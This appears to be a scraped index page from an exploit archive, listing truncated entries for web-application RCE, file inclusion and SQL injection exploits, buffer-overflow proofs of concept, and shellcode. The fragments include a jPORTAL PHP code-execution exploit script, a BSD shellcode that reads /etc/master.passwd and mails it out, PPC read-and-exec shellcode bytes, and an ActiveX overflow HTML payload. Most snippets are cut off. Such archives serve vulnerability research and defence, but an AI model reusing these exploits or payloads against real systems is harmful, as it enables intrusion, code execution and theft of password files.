jPORTAL 2.3.1 & UserPatch - 'forum.php' Remote Code Execution

 $host = $argv1; $path = $argv2; $phpcode = $argv3; $info = "\n\n". " jPORTAL 2.3.1 & UserPatch forum.php Remote PHP Code Execution Exploit\n". "\n". " author: irk4zatyahoo.pl\n". " http://irk4z.wordpress.com\n". "\n". "\n". " greetz: str0ke, wacky, polish under :\n"...

PNphpBB2 'printview.php'本地文件包含漏洞

BUGTRAQ ID: 27039 CNCAN ID:CNCAN-2007122805 PNphpBB2是一款基于PHP的WEB应用程序。 PNphpBB2不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限查看系统文件内容。 问题是由于'printview.php'脚本对用户提交的'phpEx'参数缺少过滤，提交包含多个"../"字符作为参数数据，可绕过WEB ROOT限制，以WEB权限查看系统文件内容。 PNphpBB2 1.2.0 i 厂商解决方案 ------------ 目前没有解决方案提供： http://www.pnphpbb.com/...

PHPMySMS gateway.php远程文件包含漏洞

BUGTRAQ ID: 18633 PHPMySMS是一款开放源码的用PHP实现的基于Web的短信解决方案。 PHPMySMS的实现上存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。 远程攻击者可以利用PHPMySMS的gateway.php文件中的远程文件包含漏洞执行任意PHP代码。漏洞代码如下： ============================================================== if $POSTmode == "1" or $GETmode == "1" include "config.php"; else include...

Buffer-overflow and format string in VideoLAN VLC 0.8.6d

Luigi Auriemma Application: VideoLAN VLC http://www.videolan.org Versions: = 0.8.6d Platforms: Windows, Mac, BSD, nix and more Bugs: A buffer-overflow in the handling of the subtitles originally found by Michal Luczaj B format string in the web interface Exploitation: A local B remote Date: 24 De...

TeamCalPro 3.1.000 Multiple Remote/Local File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ======================================================================= TeamCalPro 3.1.000 Multiple Remote/Local File Inclusion Vulnerabilities ======================================================================= TeamCal Pro = 3.1.000...

mBlog 1.2 - page Remote File Disclosure

mBlog 1.2 - page Remote File Disclosure ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: : : : vuln.: mBlog 1.2 Remote File Disclosure Vulnerability : : script info and download: http://www.c97.net/dl/index.php?act=view&id=8 : : no dork for s-kiddie ; : : : : author...

bsd/x86 cat /etc/master.passwd | mail [email] 92 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 92 bytes. execve/bin/sh -c "/bin/cat /etc/master.passwd|mail root@localhost"; pueden reemplzar el comando por lo que se les ocurra. / char shellcode=...

linux/ppc read & exec shellcode 32 bytes

No description provided by source. / readnexecppc-core.c by Charles Stevenson [email protected] / char hellcode = / read0,stack,1028; stack; linux/ppc by core / "\x7c\x63\x1a\x79" / xor. r3,r3,r3 / "\x38\xa0\x04\x04" / li r5,1028 / "\x30\x05\xfb\xff" / addic r0,r5,-1025 / "\x7c\x24\x0b\x78" / mr...

WFTPD Explorer Pro 1.0 - Remote Heap Overflow (PoC)

WFTPD Explorer Pro 1.0 - Remote Heap Overflow PoC WftpdExpProHeapPoC.py Discovered by r4x Kamil Szczerba [email protected] Soft : WFTPD Explorer Pro 1.0 Vendor : Texas Imperial Software Vuln : Heap Overwlow Res: LIST Exploit : PoC Reg Overwrite Reg: EAX = 41414141 ECX = 41414141 EDX = 00a57b38 ASCII...

oreon-rfi.txt

By Michael Brooks Vulnerability Type: Multiple Remote File Inclusion. Software: Oreon and Centreon Homepage:http://www.oreon-project.org/ or http://www.centreon.com/ Versions: 1.4Oreon and 1.4.1Centreon The vulnerable file is: ./oreon-1.4/www/include/monitoring/engine/MakeXML.php Another,virtuall...

Multiple vulnerabilities in BarracudaDrive 3.7.2

Luigi Auriemma Application: BarracudaDrive Web Server http://barracudaserver.com/products/BarracudaDrive/ http://barracudaserver.com/products/HomeServer/ Versions: = 3.7.2 Platforms: Windows Bugs: A directory traversal B scripts source visualization C arbitrary files deleting by users D NULL...

PuTTy.exe <= 0.53 (validation) Remote Buffer Overflow Exploit (meta)

No description provided by source. This file is part of the Metasploit Framework and may be redistributed according to the licenses defined in the Authors field below. In the case of an unknown or missing license, this file defaults to the same...

Microsoft Windows SMBv2 Code Signing Remote Code Execution Vulnerability

Description Microsoft Windows is prone to a remote code-execution vulnerability because it fails to properly validate digital signatures. Successfully exploiting this issue allows remote attackers to execute arbitrary machine code in the context of logged-in users. This facilitates the remote...

Simple HTTPd 1.38 - Multiple Vulnerabilities

Luigi Auriemma Application: Simple HTTPD http://shttpd.sourceforge.net Versions: = 1.38 Platforms: Windows, nix, QNX, RTEMS only Windows seems vulnerable Bugs: A directory traversal B scripts and CGI viewing/downloading %20 char found by Shay priel in Jun 2007 Exploitation: remote Date: 07 Dec 20...

SineCMS <= 2.3.4 Calendar Remote SQL Injection Vulnerability

No description provided by source. --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | / \ \ | \ \ | | | \ | |/ \ | | // | || | ||| /| / /\ | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org...

RichFX Basic Player ActiveX Control Multiple Buffer Overflow Vulnerabilities

No description provided by source. html head script language="JavaScript" DEFER function Check var s = "AAAA"; while s.length 999999 s=s+s; var obj = new ActiveXObject"RFXInstMgr.RFXInstMgr"; //47F59200-8783-11D2-8343-00A0C945A819 obj.DoInstalls; obj.QueryComponentss; /script /head body...

iaprcommence-rfi.txt

iaprcommence 1.3 RFI --------------------- Author : ShAy6oOoN --------------------- Group : PitBull Crew --------------------- Script : iaprcommence 1.3 --------------------- Download : http://downloads.sourceforge.net/iaprcommence/CommenceV13.zip?modtime=1195816743&bigmirror=0...

wpQuiz 2.7 Multiple Remote SQL Injection Vulnerabilities

Exploit for unknown platform in category web applications ======================================================== wpQuiz 2.7 Multiple Remote SQL Injection Vulnerabilities ======================================================== Tytul: wpQuiz 2.7 Remote SQL Injection Vulnerability...

Tilde CMS <= 4.x (aarstal) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ============================================================= Tilde CMS | |||| /| / / --------------------------------------------------------------- Tilde CMS = v. 4.x "aarstal" parameter SQL Injection...

A ActiveX 0day exploit tools-vulnerability warning-the black bar safety net

Like 1 0. 5 The following version, this seems to only overflow once, the first time the overflow is successful, the second start will have a repair database hints, points to fix just, cancel. The last test using the"Windows button breakthrough expert" 4.5 K overflow is no problem, but"iecv.exe"th...